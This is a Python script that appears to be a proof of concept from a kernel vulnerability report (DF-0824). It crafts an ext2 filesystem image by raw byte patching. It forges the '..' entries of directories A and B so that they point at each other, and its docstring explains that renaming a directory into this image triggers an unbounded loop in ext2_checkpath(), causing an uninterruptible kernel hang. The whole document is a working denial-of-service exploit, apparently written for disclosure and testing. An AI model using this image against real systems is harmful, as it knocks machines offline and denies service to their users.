DF-0824 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | #!/usr/bin/env python3 """ DF-0824 — craft an ext2 image whose directories A and B have cyclic `..` entries (A's `..` -> B, B's `..` -> A), neither being root. This is impossible to create online (mkdir/rename always set `..` to the true parent, and hard-linking directories is forbidden). It requires offline image editing via raw byte patching of the on-disk directory entries. The resulting image, when mounted and used as the target of a directory rename(2), triggers the unbounded `..` walk in ext2_checkpath() (sys/vfs/ext2fs/ext2_lookup.c:1212-1241) -> uninterruptible kernel hang / DoS. Layout (after mke2fs + debugfs mkdir): /lost+found (default) /S (source dir for rename; normal `..`->root) /A (target dir; FORGED `..`->B) /B (FORGED `..`->A) The `..` inode field lives at byte offset 12 inside the directory's first data block (struct dirtemplate: dot_ino[0..3], dot_reclen[4..5], dot_type[6], dot_namlen[7], dot_name[8..11], dotdot_ino[12..15], ...). """ import struct, subprocess, sys, os IMG = "df0824.img" SZ_MB = 1 def run(*args, **kw): return subprocess.run(args, check=True, capture_output=True, text=True, **kw) # 1. Create the base ext2 image (old-school: no metadata_csum, no 64bit). if os.path.exists(IMG): os.unlink(IMG) run("dd", "if=/dev/zero", f"of={IMG}", "bs=1M", f"count={SZ_MB}") run("mke2fs", "-t", "ext2", "-b", "1024", "-I", "128", "-O", "^metadata_csum,^64bit,^resize_inode,^dir_index", "-N", "32", "-F", IMG) # 2. Pre-create S, A, B as subdirs of root. for d in ("S", "A", "B"): run("debugfs", "-w", "-R", f"mkdir {d}", IMG) # 3. Read the superblock to find geometry. with open(IMG, "rb") as f: f.seek(1024) sb = f.read(1024) block_size = 1024 << struct.unpack_from("<I", sb, 0x18)[0] inode_size = struct.unpack_from("<H", sb, 0x58)[0] first_data_block = struct.unpack_from("<I", sb, 0x14)[0] # 4. Read block group descriptor 0 (at block first_data_block+1) -> inode table. with open(IMG, "rb") as f: f.seek((first_data_block + 1) * block_size) bgd = f.read(32) inode_table_block = struct.unpack_from("<I", bgd, 0x8)[0] def inode_data_block(ino): """Return the first data block number for an inode.""" with open(IMG, "rb") as f: f.seek(inode_table_block * block_size + (ino - 1) * inode_size) idata = f.read(inode_size) return struct.unpack_from("<I", idata, 0x28)[0] def parse_dir_block(blk): entries = {} off = 0 while off + 8 <= len(blk): ino, reclen, namlen, typ = struct.unpack_from("<IHBB", blk, off) if reclen == 0: break name = blk[off + 8: off + 8 + namlen].decode("ascii", "replace") entries[name] = ino off += reclen return entries # 5. Find inode numbers by reading root dir. root_data_block = inode_data_block(2) # root inode = 2 with open(IMG, "rb") as f: f.seek(root_data_block * block_size) root_entries = parse_dir_block(f.read(block_size)) print("root entries:", root_entries) S_ino = root_entries.get("S") A_ino = root_entries.get("A") B_ino = root_entries.get("B") assert S_ino and A_ino and B_ino, f"missing S/A/B inodes: {root_entries}" print(f"S={S_ino} A={A_ino} B={B_ino}") A_blk = inode_data_block(A_ino) B_blk = inode_data_block(B_ino) print(f"A data block={A_blk}, B data block={B_blk}") # 6. Patch the `..` inode (offset 12) of A -> B_ino and of B -> A_ino. with open(IMG, "r+b") as f: f.seek(A_blk * block_size + 12) f.write(struct.pack("<I", B_ino)) f.seek(B_blk * block_size + 12) f.write(struct.pack("<I", A_ino)) print(f"FORGED: A(..)->{B_ino}, B(..)->{A_ino} [cycle A<->B]") # 7. Dump the patched blocks for proof. with open(IMG, "rb") as f: f.seek(A_blk * block_size) ad = f.read(32) f.seek(B_blk * block_size) bd = f.read(32) print("A block[0:32]:", ad.hex()) print("B block[0:32]:", bd.hex()) # 8. debugfs verification (it will complain about the cycle but still show it). r = run("debugfs", "-R", "ls -l /", IMG) print("--- debugfs ls -l / ---") print(r.stdout) |